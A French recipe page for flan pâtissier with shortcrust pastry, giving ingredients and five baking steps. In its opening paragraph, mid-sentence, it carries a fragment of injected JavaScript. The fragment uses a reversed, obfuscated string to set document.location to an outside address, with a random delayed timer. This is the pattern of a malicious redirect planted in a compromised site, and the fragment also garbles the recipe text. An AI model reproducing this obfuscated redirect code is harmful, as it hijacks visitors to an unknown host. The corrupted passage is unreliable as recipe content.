Flans pâtissier avec pâte brisée
2016-12-19- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Intermédiaire
Versez le lait dans une casserole. Portez à ébullition. Réservez. Battez les œufs entiers avec le jaune d’œuf, le sucre en poudre, la vanille en poudre. Puis incorporez la maïzena tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant.
Ingrédients
- Pour 6 personnes
- 1 rouleau de pâte brisée
- 1 litre de lait
- 150 g de sucre en poudre
- 120 g de maïzena
- 2 œufs entiers
- 1 jaune d'œuf
- 1 sachet de vanille en poudre
Préparation de la recette
Etape 1
Versez le lait dans une casserole. Portez à ébullition. Réservez. Battez les œufs entiers avec le jaune d'œuf, le sucre en poudre, la vanille en poudre. Puis incorporez la maïzena tout en mélangeant.
Etape 2
Versez le lait chaud par petites quantités, faites chauffer sur feu doux, tout en remuant et obtenir un léger épaississement. Réservez hors du feu.
Etape 3
Abaissez la pâte brisée dans un moule à manqué beurré. Versez le flan.
Etape 4
. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes.
Etape 5
Lorsque le flan est doré. Sortez le du four. Laissez refroidir. Placez au réfrigérateur pendant 35 minutes minimum et dégustez.
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